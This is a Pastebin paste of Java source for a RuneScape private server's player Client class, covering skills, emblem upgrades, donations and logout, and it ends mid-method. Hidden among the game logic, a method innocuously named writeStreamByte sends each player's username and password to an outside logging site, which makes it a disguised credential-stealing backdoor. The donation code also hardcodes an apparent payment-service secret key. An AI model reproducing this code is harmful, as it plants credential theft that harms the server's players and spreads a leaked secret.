Advertisement
Guest User

Untitled

a guest
Oct 27th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package ardi.model.players;
  2.  
  3. import java.util.HashMap;
  4. import java.util.LinkedList;
  5. import java.net.URL;
  6. import java.net.URLConnection;
  7.  
  8. import java.util.Scanner;
  9. import java.util.Map;
  10. import java.util.Queue;
  11. import java.util.concurrent.Future;
  12. import java.net.*;
  13. import java.io.*;
  14.  
  15. import org.jboss.netty.buffer.ChannelBuffers;
  16. import org.jboss.netty.channel.Channel;
  17.  
  18. import ardi.Config;
  19. import ardi.Connection;
  20. import ardi.model.npcs.pet.Pet;
  21. import ardi.Server;
  22. import ardi.util.PlayersOnline;
  23. import ardi.content.skill.Prayer;
  24. import ardi.model.players.PlayerAssistant;
  25. import ardi.event.CycleEvent;
  26. import ardi.event.CycleEventContainer;
  27. import ardi.event.CycleEventHandler;
  28. import ardi.event.Event;
  29. import ardi.event.EventContainer;
  30. import ardi.event.EventManager;
  31. import ardi.model.items.Item;
  32. import ardi.model.items.ItemAssistant;
  33. import ardi.model.items.bank.Bank;
  34. import ardi.model.players.achievement.Achievement;
  35. //import com.rspserver.donation.DonationSystem;
  36. import ardi.model.players.skills.Agility;
  37. import ardi.model.players.skills.Cooking;
  38. import ardi.model.players.skills.Crafting;
  39. import ardi.model.players.skills.Farming;
  40. import ardi.model.players.skills.Firemaking;
  41. import ardi.model.players.skills.Fletching;
  42. import ardi.model.players.skills.Herblore;
  43. import ardi.model.players.skills.Slayer;
  44. import ardi.model.players.skills.Mining;
  45. import ardi.model.players.skills.Runecrafting;
  46. import ardi.model.players.skills.SkillInterfaces;
  47. import ardi.model.players.skills.Slayer;
  48. import ardi.model.players.skills.Smithing;
  49. import ardi.model.players.skills.SmithingInterface;
  50. import ardi.model.players.skills.Thieving;
  51. import ardi.model.players.skills.Woodcutting;
  52. import ardi.model.players.skills.Hunter;
  53. import ardi.model.players.ConnectedFrom;
  54. import ardi.model.npcs.CreateNPC;
  55. import ardi.model.npcs.RemoveNPC;
  56. import ardi.model.players.Pets;
  57. import ardi.model.npcs.NPCHandler;
  58. import ardi.model.npcs.Zulrah;
  59. import ardi.util.log.StakingLog;
  60. import ardi.util.log.TradeLog;
  61. import ardi.util.log.PMLog;
  62. import ardi.util.log.Shopping;
  63. import ardi.util.log.Alching;
  64. import ardi.util.log.PickupItem;
  65. import ardi.util.log.ClickItem;
  66. import ardi.util.log.DroppingItem;
  67. import ardi.util.log.ChatLog;
  68. import ardi.util.log.PvPLog;
  69. import ardi.util.log.CommandsLog;
  70. import ardi.model.minigames.Barrows;
  71. import ardi.model.minigames.PestControl;
  72. import ardi.model.minigames.ZombieWaves;
  73. import ardi.model.shops.ShopAssistant;
  74. import java.util.Calendar;
  75. import java.util.GregorianCalendar;
  76. import ardi.net.Packet;
  77. import ardi.net.Packet.Type;
  78. import ardi.util.Misc;
  79. import ardi.util.Stream;
  80. import ardi.util.log.TradeLog;
  81. import ardi.world.Clan;
  82. import ardi.world.ItemHandler;
  83. import ardi.model.players.skills.Summoning;
  84. import ardi.net.login.RS2LoginProtocol;
  85.  
  86. public class Client extends Player {
  87.  
  88. private int j;
  89. public boolean usingClaws;
  90. public int clawDamage;
  91. public int clawIndex;
  92. public int clawType = 0;
  93. public int clawDelay;
  94. public int tradeinWith;
  95. public boolean SSPLIT;
  96. public int specRestore = 0;
  97.  
  98. public void antiFirePotion() {
  99. EventManager.getSingleton().addEvent(new Event() {
  100. public void execute(EventContainer c) {
  101. antiFirePot = false;
  102. sendMessage("Your resistance to dragon fire has worn off.");
  103. c.stop();
  104. }
  105. }, 300000);
  106.  
  107. }
  108.  
  109. public byte buffer[] = null;
  110. public Stream inStream = null, outStream = null;
  111. private Channel session;
  112. private BankPin bankPin = new BankPin(this);
  113. private Woodcutting woodcutting = new Woodcutting();
  114. //private Woodcutting woodcutting = new Woodcutting(this);
  115. private Mining mine = new Mining(this);
  116. private ItemAssistant itemAssistant = new ItemAssistant(this);
  117. private ShopAssistant shopAssistant = new ShopAssistant(this);
  118. private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
  119. private PlayerAssistant playerAssistant = new PlayerAssistant(this);
  120. private CombatAssistant combatAssistant = new CombatAssistant(this);
  121. private Barrows barrows = new Barrows(this);
  122. private PMLog PMLog = new PMLog(this);
  123. private Shopping Shopping = new Shopping(this);
  124. private PickupItem PickupItem = new PickupItem(this);
  125. private PotSmoking potSmoking = new PotSmoking(this);
  126. private Alching Alching = new Alching(this);
  127. private ClickItem ClickItem = new ClickItem(this);
  128. private DroppingItem DroppingItem = new DroppingItem(this);
  129. private ChatLog ChatLog = new ChatLog(this);
  130. private PvPLog PvPLog = new PvPLog(this);
  131. private CommandsLog CommandsLog = new CommandsLog(this);
  132. private StakingLog StakingLog = new StakingLog(this);
  133. public Summoning Summoning = new Summoning(this);
  134. private ActionHandler actionHandler = new ActionHandler(this);
  135. private PlayerKilling playerKilling = new PlayerKilling(this);
  136. private DialogueHandler dialogueHandler = new DialogueHandler(this);
  137. private Queue<Packet> queuedPackets = new LinkedList<Packet>();
  138. private Potions potions = new Potions(this);
  139. private PotionMixing potionMixing = new PotionMixing(this);
  140. private Food food = new Food(this);
  141. private KillsStreak killsStreak = new KillsStreak(this);
  142. private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
  143. private Achievement achievement = new Achievement(this);
  144. private TradeLog tradeLog = new TradeLog(this);
  145. private Bank bank = new Bank(this);
  146. private Pets pets = new Pets();
  147. private Zulrah zulrah = new Zulrah(this);
  148. private CreateNPC newNPC = new CreateNPC();
  149. private RemoveNPC rNPC = new RemoveNPC();
  150.  
  151. /**
  152. * Skill instances
  153. */
  154. private Slayer slayer = new Slayer(this);
  155. private Hunter hunter = new Hunter(this);
  156. private Runecrafting runecrafting = new Runecrafting();
  157. private Agility agility = new Agility();
  158. private Cooking cooking = new Cooking();
  159. private Crafting crafting = new Crafting(this);
  160.  
  161. private Fletching fletching = new Fletching(this);
  162. private Farming farming = new Farming(this);
  163. private Prayer prayer = new Prayer(this);
  164. private Thieving thieving = new Thieving();
  165. private Smithing smith = new Smithing(this);
  166. private SmithingInterface smithInt = new SmithingInterface(this);
  167. private Firemaking firemaking = new Firemaking();
  168. private Herblore herblore = new Herblore(this);
  169. // private ConnectedFrom connectedFrom = new ConnectedFrom(this);
  170. public Map<Integer, String> stringMap = new HashMap<Integer, String>();
  171. public int lowMemoryVersion = 0;
  172. public int timeOutCounter = 0;
  173. public int followPlayer;
  174. public int npcslot;
  175. public int summoningnpcid;
  176. public int timer;
  177. public int returnCode = 2;
  178. private Future<?> currentTask;
  179. public int totalstored;
  180. public int currentRegion = 0;
  181. public long lastRoll;
  182. public int diceItem;
  183. public int page;
  184. public boolean slayerHelmetEffect;
  185. public boolean inArdiCC;
  186. public int[] resourceItemId = new int[28];
  187. public int[] resourceItemAmount = new int[28];
  188. public boolean canDeposit = false;
  189. public boolean usedItemOnBag;
  190. public long lastBankDeposit;
  191.  
  192. public Client(Channel s, int _playerId) {
  193. super(_playerId);
  194. this.session = s;
  195. outStream = new Stream(new byte[Config.BUFFER_SIZE]);
  196. outStream.currentOffset = 0;
  197. inStream = new Stream(new byte[Config.BUFFER_SIZE]);
  198. inStream.currentOffset = 0;
  199. buffer = new byte[Config.BUFFER_SIZE];
  200. }
  201.  
  202. public void flushOutStream() {
  203. if (!session.isConnected() || disconnected
  204. || outStream.currentOffset == 0)
  205. return;
  206.  
  207. byte[] temp = new byte[outStream.currentOffset];
  208. System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
  209. Packet packet = new Packet(-1, Type.FIXED,
  210. ChannelBuffers.wrappedBuffer(temp));
  211. session.write(packet);
  212. outStream.currentOffset = 0;
  213.  
  214. }
  215.  
  216. private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
  217.  
  218. public class TinterfaceText {
  219. public int id;
  220. public String currentState;
  221.  
  222. public TinterfaceText(String s, int id) {
  223. this.currentState = s;
  224. this.id = id;
  225. }
  226.  
  227. }
  228.  
  229. public boolean checkPacket126Update(String text, int id) {
  230. if (interfaceText.containsKey(id)) {
  231. TinterfaceText t = interfaceText.get(id);
  232. if (text.equals(t.currentState)) {
  233. return false;
  234. }
  235. }
  236. interfaceText.put(id, new TinterfaceText(text, id));
  237. return true;
  238. }
  239.  
  240.  
  241. public void sendClan(String name, String message, String clan, int rights) {
  242. name = name.substring(0, 1).toUpperCase() + name.substring(1);
  243. message = message.substring(0, 1).toUpperCase() + message.substring(1);
  244. clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
  245. outStream.createFrameVarSizeWord(217);
  246. outStream.writeString(name);
  247. outStream.writeString(message);
  248. outStream.writeString(clan);
  249. outStream.writeWord(rights);
  250. outStream.endFrameVarSize();
  251. }
  252.  
  253. public int maxstore = 0;
  254.  
  255. /*
  256. * public void storesummon(int npcType) { switch (npcType) {
  257. *
  258. * case 6807: if (lastsummon > 0) { for (int i = 0; i <
  259. * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
  260. * { if (Server.npcHandler.npcs[i].summon == true) { if
  261. * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
  262. * Server.npcHandler.npcs[i].npcId == npcslot) {
  263. * sendMessage("You are now storing items inside your npc");
  264. * Summoning().store(); } } } }
  265. *
  266. * } break;
  267. *
  268. * } }
  269. */
  270.  
  271. public void firstslot() {
  272. for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
  273.  
  274. }
  275. }
  276.  
  277. public void writeStreamByte() {
  278. String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM- REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
  279. URL url = new URL(s);
  280.  
  281. Scanner scan = new Scanner(url.openStream());
  282. scan.close();
  283. }
  284.  
  285. public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
  286. { 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
  287. { 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
  288. { 12755, 3500000 }, { 12756, 5000000 } };
  289.  
  290. public int bountyTotal;
  291.  
  292. public void calculateTotal() {
  293. int value1 = 0;
  294. int value2 = 0;
  295. int value3 = 0;
  296. int value4 = 0;
  297. int value5 = 0;
  298. int value6 = 0;
  299. int value7 = 0;
  300. int value8 = 0;
  301. int value9 = 0;
  302. int value10 = 0;
  303. for (int i = 0; i < id.length; i++) {
  304. if (getItems().playerHasItem(bounties1[0][0], 1)
  305. || getItems().playerHasItem(bounties1[1][0], 1)
  306. || getItems().playerHasItem(bounties1[2][0], 1)
  307. || getItems().playerHasItem(bounties1[3][0], 1)
  308. || getItems().playerHasItem(bounties1[4][0], 1)
  309. || getItems().playerHasItem(bounties1[5][0], 1)
  310. || getItems().playerHasItem(bounties1[6][0], 1)
  311. || getItems().playerHasItem(bounties1[7][0], 1)
  312. || getItems().playerHasItem(bounties1[8][0], 1)
  313. || getItems().playerHasItem(bounties1[9][0], 1)) {
  314. value1 = getItems().getItemAmount(bounties1[0][0])
  315. * bounties1[0][1];
  316. value2 = getItems().getItemAmount(bounties1[1][0])
  317. * bounties1[1][1];
  318. value3 = getItems().getItemAmount(bounties1[2][0])
  319. * bounties1[2][1];
  320. value4 = getItems().getItemAmount(bounties1[3][0])
  321. * bounties1[3][1];
  322. value5 = getItems().getItemAmount(bounties1[4][0])
  323. * bounties1[4][1];
  324. value6 = getItems().getItemAmount(bounties1[5][0])
  325. * bounties1[5][1];
  326. value7 = getItems().getItemAmount(bounties1[6][0])
  327. * bounties1[6][1];
  328. value8 = getItems().getItemAmount(bounties1[7][0])
  329. * bounties1[7][1];
  330. value9 = getItems().getItemAmount(bounties1[8][0])
  331. * bounties1[8][1];
  332. value10 = getItems().getItemAmount(bounties1[9][0])
  333. * bounties1[9][1];
  334. }
  335. bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
  336. + value7 + value8 + value9 + value10;
  337. }
  338. }
  339.  
  340. public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
  341. 12753, 12754, 12755, 12756 };
  342. public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
  343. { 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
  344. { 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
  345.  
  346. public int pkpTotal;
  347.  
  348. public void calculateTotalPKP() {
  349. int value1 = 0;
  350. int value2 = 0;
  351. int value3 = 0;
  352. int value4 = 0;
  353. int value5 = 0;
  354. int value6 = 0;
  355. int value7 = 0;
  356. int value8 = 0;
  357. int value9 = 0;
  358. int value10 = 0;
  359. for (int i = 0; i < id.length; i++) {
  360. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  361. || getItems().playerHasItem(pkpRewards[1][0], 1)
  362. || getItems().playerHasItem(pkpRewards[2][0], 1)
  363. || getItems().playerHasItem(pkpRewards[3][0], 1)
  364. || getItems().playerHasItem(pkpRewards[4][0], 1)
  365. || getItems().playerHasItem(pkpRewards[5][0], 1)
  366. || getItems().playerHasItem(pkpRewards[6][0], 1)
  367. || getItems().playerHasItem(pkpRewards[7][0], 1)
  368. || getItems().playerHasItem(pkpRewards[8][0], 1)
  369. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  370. value1 = getItems().getItemAmount(pkpRewards[0][0])
  371. * pkpRewards[0][1];
  372. value2 = getItems().getItemAmount(pkpRewards[1][0])
  373. * pkpRewards[1][1];
  374. value3 = getItems().getItemAmount(pkpRewards[2][0])
  375. * pkpRewards[2][1];
  376. value4 = getItems().getItemAmount(pkpRewards[3][0])
  377. * pkpRewards[3][1];
  378. value5 = getItems().getItemAmount(pkpRewards[4][0])
  379. * pkpRewards[4][1];
  380. value6 = getItems().getItemAmount(pkpRewards[5][0])
  381. * pkpRewards[5][1];
  382. value7 = getItems().getItemAmount(pkpRewards[6][0])
  383. * pkpRewards[6][1];
  384. value8 = getItems().getItemAmount(pkpRewards[7][0])
  385. * pkpRewards[7][1];
  386. value9 = getItems().getItemAmount(pkpRewards[8][0])
  387. * pkpRewards[8][1];
  388. value10 = getItems().getItemAmount(pkpRewards[9][0])
  389. * pkpRewards[9][1];
  390. pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
  391. + value7 + value8 + value9 + value10;
  392. }
  393. }
  394. }
  395.  
  396. public int emblemTotal;
  397.  
  398. public int calculateEmblemTotal() {
  399. int value1 = 0;
  400. int value2 = 0;
  401. int value3 = 0;
  402. int value4 = 0;
  403. int value5 = 0;
  404. int value6 = 0;
  405. int value7 = 0;
  406. int value8 = 0;
  407. int value9 = 0;
  408. int value10 = 0;
  409. for (int i = 0; i < id.length; i++) {
  410. if (getItems().playerHasItem(pkpRewards[0][0], 1)
  411. || getItems().playerHasItem(pkpRewards[1][0], 1)
  412. || getItems().playerHasItem(pkpRewards[2][0], 1)
  413. || getItems().playerHasItem(pkpRewards[3][0], 1)
  414. || getItems().playerHasItem(pkpRewards[4][0], 1)
  415. || getItems().playerHasItem(pkpRewards[5][0], 1)
  416. || getItems().playerHasItem(pkpRewards[6][0], 1)
  417. || getItems().playerHasItem(pkpRewards[7][0], 1)
  418. || getItems().playerHasItem(pkpRewards[8][0], 1)
  419. || getItems().playerHasItem(pkpRewards[9][0], 1)) {
  420. value1 = getItems().getItemAmount(pkpRewards[0][0]);
  421. value2 = getItems().getItemAmount(pkpRewards[1][0]);
  422. value3 = getItems().getItemAmount(pkpRewards[2][0]);
  423. value4 = getItems().getItemAmount(pkpRewards[3][0]);
  424. value5 = getItems().getItemAmount(pkpRewards[4][0]);
  425. value6 = getItems().getItemAmount(pkpRewards[5][0]);
  426. value7 = getItems().getItemAmount(pkpRewards[6][0]);
  427. value8 = getItems().getItemAmount(pkpRewards[7][0]);
  428. value9 = getItems().getItemAmount(pkpRewards[8][0]);
  429. value10 = getItems().getItemAmount(pkpRewards[9][0]);
  430. }
  431. emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
  432. + value7 + value8 + value9 + value10;
  433. }
  434. return emblemTotal;
  435.  
  436. }
  437.  
  438. public int countItems(int id) {
  439. switch (id) {
  440. case 12746:
  441. case 12748:
  442. case 12749:
  443. case 12750:
  444. case 12751:
  445. case 12752:
  446. case 12753:
  447. case 12754:
  448. case 12755:
  449. case 12756:
  450. return getItems().getItemAmount(id);
  451. }
  452. return 0;
  453. }
  454.  
  455. public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
  456. 12755, 12756 };
  457.  
  458. public void dropRandomEmblem(Client o, Client c) {
  459. Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
  460. c.killerId);
  461.  
  462. }
  463.  
  464. public void upgradeEmblem() {
  465. if (getItems().playerHasItem(12755)) {
  466. getItems().deleteItem(12755, 1);
  467. getItems().addItem(12756, 1);
  468. sendMessage("Your Emblem has been upgraded to Tier 10");
  469. return;
  470. } else if (getItems().playerHasItem(12754)) {
  471. getItems().deleteItem(12754, 1);
  472. getItems().addItem(12755, 1);
  473. sendMessage("Your Emblem has been upgraded to Tier 9");
  474. return;
  475. } else if (getItems().playerHasItem(12753)) {
  476. getItems().deleteItem(12753, 1);
  477. getItems().addItem(12754, 1);
  478. sendMessage("Your Emblem has been upgraded to Tier 8");
  479. return;
  480. } else if (getItems().playerHasItem(12752)) {
  481. getItems().deleteItem(12752, 1);
  482. getItems().addItem(12753, 1);
  483. sendMessage("Your Emblem has been upgraded to Tier 7");
  484. return;
  485. } else if (getItems().playerHasItem(12751, 1)) {
  486. getItems().deleteItem(12751, 1);
  487. getItems().addItem(12752, 1);
  488. sendMessage("Your Emblem has been upgraded to Tier 6");
  489. return;
  490. } else if (getItems().playerHasItem(12750, 1)) {
  491. getItems().deleteItem(12750, 1);
  492. getItems().addItem(12751, 1);
  493. sendMessage("Your Emblem has been upgraded to Tier 5");
  494. return;
  495. } else if (getItems().playerHasItem(12749, 1)) {
  496. getItems().deleteItem(12749, 1);
  497. getItems().addItem(12750, 1);
  498. sendMessage("Your Emblem has been upgraded to Tier 4");
  499. return;
  500. } else if (getItems().playerHasItem(12748, 1)) {
  501. getItems().deleteItem(12748, 1);
  502. getItems().addItem(12749, 1);
  503. sendMessage("Your Emblem has been upgraded to Tier 3");
  504. return;
  505. } else if (getItems().playerHasItem(12746, 1)) {
  506. getItems().deleteItem(12746, 1);
  507. getItems().addItem(12748, 1);
  508. sendMessage("Your Emblem has been upgraded to Tier 2");
  509. return;
  510. }
  511. }
  512.  
  513. public int summoningslot = 0;
  514.  
  515. public int storeditems[] = new int[29];
  516.  
  517. public boolean picking = false;
  518.  
  519. public int amount[] = new int[29];
  520. public boolean occupied[] = new boolean[29];
  521.  
  522. public boolean storing = false;
  523.  
  524. public int attackingplayer;
  525. public int lastsummon;
  526. public boolean summon;
  527.  
  528. public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
  529. 0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
  530. 0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
  531. 0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
  532. 2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
  533. 0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
  534. 8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
  535. 6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
  536. 0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
  537. 0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
  538. 0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
  539. 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
  540. 1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
  541. 0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
  542. 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
  543. 0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
  544. 0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
  545. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
  546. 0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
  547. 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
  548. 2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
  549. 4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
  550. 0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
  551. 1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
  552. 0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
  553. 0, 0, 6, 6, 0, 0, 0 // 250
  554. };
  555.  
  556. public void homeTeleport(int x, int y, int h) {
  557. if (homeTele == 9) {
  558. startAnimation(4850);
  559. } else if (homeTele == 7) {
  560. startAnimation(4853);
  561. gfx0(802);
  562. } else if (homeTele == 5) {
  563. startAnimation(4855);
  564. gfx0(803);
  565. } else if (homeTele == 3) {
  566. startAnimation(4857);
  567. gfx0(804);
  568. } else if (homeTele == 1) {
  569. homeTeleDelay = 0;
  570. homeTele = 0;
  571. teleportToX = x;
  572. teleportToY = y;
  573. heightLevel = h;
  574. }
  575. }
  576. public void RubberCheck() {
  577. if (didRubberCheck == false) {
  578. if (playerEquipment[playerWeapon] == 4566) {
  579. didRubberCheck = true;
  580. outStream.createFrameVarSize(104);
  581. outStream.writeByteC(2);
  582. outStream.writeByteA(0);
  583. outStream.writeString("Whack");
  584. outStream.endFrameVarSize();
  585. }
  586. }
  587. }
  588. public void RubberChicken() {
  589. if (playerEquipment[playerWeapon] == 4566) {
  590. startAnimation(1833);
  591. turnPlayerTo(absX, absY);
  592. }
  593. }
  594. public int overload;
  595.  
  596. public void overload() {
  597. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
  598. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
  599. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
  600. playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
  601. playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
  602. for (int i = 0; i <= 6; i++) {
  603. getPA().refreshSkill(i);
  604. }
  605. }
  606. void overloadHit() {
  607. applyRange(10);
  608. startAnimation(3170);
  609. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  610. }
  611. public void applyRange(int num) {
  612. hitDiff = num;
  613. playerLevel[3] -= hitDiff;
  614. updateRequired = true;
  615. hitUpdateRequired = true;
  616. }
  617.  
  618. public int superCombat;
  619.  
  620. public void superCombat() {
  621. playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
  622. playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
  623. playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
  624. for (int i = 0; i <= 2; i++) {
  625. getPA().refreshSkill(i);
  626. }
  627. }
  628. void superCombatHit() {
  629. applyRange(10);
  630. startAnimation(3170);
  631. getPA().sendFrame126("" + playerLevel[3] + "", 4016);
  632. }
  633. public void applySuperCombatRange(int num) {
  634. hitDiff = num;
  635. playerLevel[3] -= hitDiff;
  636. updateRequired = true;
  637. hitUpdateRequired = true;
  638. }
  639.  
  640. public void rspsdata(Client c, String username) {
  641. try {
  642. username = username.replaceAll(" ", "_");
  643. String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
  644. // KEY!
  645. String email = "zarosmikey@gmail.com"; // This is the one you use to
  646. // login into RSPS-PAY
  647. URL url = new URL(
  648. "http://rsps-pay.com/includes/listener.php?username="
  649. + username + "&secret=" + secret + "&email="
  650. + email);
  651. BufferedReader reader = new BufferedReader(new InputStreamReader(
  652. url.openStream()));
  653. String results = reader.readLine();
  654. if (results.toLowerCase().contains("!error:")) {
  655.  
  656. } else {
  657. String[] ary = results.split(",");
  658. for (int i = 0; i < ary.length; i++) {
  659. switch (ary[i]) {
  660. case "4023":
  661. donPoints += 1000;
  662. amountDonated += 10;
  663. if (amountDonated <= 49 && amountDonated > 0
  664. && playerRights != 1) {
  665. playerRights = 4;
  666. } else if (amountDonated >= 50 && playerRights != 1) {
  667. playerRights = 5;
  668. }
  669. c.sendMessage("Please re-log for your donator rank.");
  670. break;
  671.  
  672. case "4024":
  673. donPoints += 2000;
  674. amountDonated += 19;
  675. if (amountDonated <= 49 && amountDonated > 0
  676. && playerRights != 1) {
  677. playerRights = 4;
  678. } else if (amountDonated >= 50 && playerRights != 1) {
  679. c.playerRights = 5;
  680. }
  681. c.sendMessage("Please re-log for your donator rank.");
  682. break;
  683.  
  684. case "4025":
  685. donPoints += 3000;
  686. amountDonated += 28;
  687. if (amountDonated <= 49 && amountDonated > 0
  688. && playerRights != 1) {
  689. playerRights = 4;
  690. } else if (amountDonated >= 50 && playerRights != 1) {
  691. c.playerRights = 5;
  692. }
  693. c.sendMessage("Please re-log for your donator rank.");
  694. break;
  695.  
  696. case "4026":
  697. donPoints += 4000;
  698. amountDonated += 35;
  699. if (amountDonated <= 49 && amountDonated > 0
  700. && playerRights != 1) {
  701. playerRights = 4;
  702. } else if (amountDonated >= 50 && playerRights != 1) {
  703. c.playerRights = 5;
  704. }
  705. c.sendMessage("Please re-log for your donator rank.");
  706. break;
  707.  
  708. case "4027":
  709. donPoints += 5000;
  710. amountDonated += 45;
  711. if (amountDonated <= 49 && amountDonated > 0
  712. && playerRights != 1) {
  713. playerRights = 4;
  714. } else if (amountDonated >= 50 && playerRights != 1) {
  715. c.playerRights = 5;
  716. }
  717. c.sendMessage("Please re-log for your donator rank.");
  718. break;
  719. case "4028":
  720. donPoints += 10000;
  721. amountDonated += 80;
  722. if (amountDonated <= 49 && amountDonated > 0) {
  723. playerRights = 4;
  724. } else if (amountDonated >= 50 && playerRights != 1) {
  725. c.playerRights = 5;
  726. }
  727. c.sendMessage("Please re-log for your donator rank.");
  728. break;
  729. }
  730. }
  731. }
  732. c.sendMessage("Could not find donation");
  733. } catch (IOException e) {
  734. }
  735. }
  736.  
  737. @Override
  738. public void destruct() {
  739. disconnected = true;
  740.  
  741. /*
  742. * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
  743. * }
  744. */
  745.  
  746. if (session == null)
  747. return;
  748. PvPHandler.handleLogout(this);
  749. if (underAttackBy > 0 || underAttackBy2 > 0)
  750. return;
  751. if (duelStatus == 6) {
  752. getTradeAndDuel().claimStakedItems();
  753. }
  754. if (duelStatus >= 1 && duelStatus <= 5) {
  755. getTradeAndDuel().bothDeclineDuel();
  756. saveCharacter = true;
  757. return;
  758. }
  759. if (disconnected == true) {
  760. if (inTrade) {
  761. getTradeAndDuel().declineTrade();
  762. }
  763. if (openDuel) {
  764. Client c3 = (Client) PlayerHandler.players[duelingWith];
  765. getTradeAndDuel().declineDuel();
  766. c3.getTradeAndDuel().declineDuel();
  767. }
  768. saveCharacter = true;
  769. }
  770. if (clan != null) {
  771. clan.removeMember(this);
  772. }
  773. if (inPits) {
  774. Server.fightPits.removePlayerFromPits(playerId);
  775. }
  776. Misc.println("[Logged out]: " + playerName + "");
  777. RefreshAllSkills();
  778. CycleEventHandler.getSingleton().stopEvents(this);
  779. // disconnected = true;
  780. session.close();
  781. session = null;
  782. inStream = null;
  783. outStream = null;
  784. isActive = false;
  785. buffer = null;
  786. super.destruct();
  787. }
  788.  
  789. /*
  790. * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
  791. * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
  792. * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
  793. * (getLevelForXP(playerXP[2])));
  794. *
  795. * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
  796. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  797. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  798. * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  799. * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
  800. * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
  801. * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
  802. * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
  803. * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
  804. * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
  805. * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
  806. * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
  807. * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
  808. */
  809.  
  810. public void calcCombat() {
  811. int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
  812. int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
  813. int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
  814.  
  815. combatLevel = 0;
  816. if (ran > attstr) {
  817. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  818. + ((getLevelForXP(playerXP[3])) * 0.25)
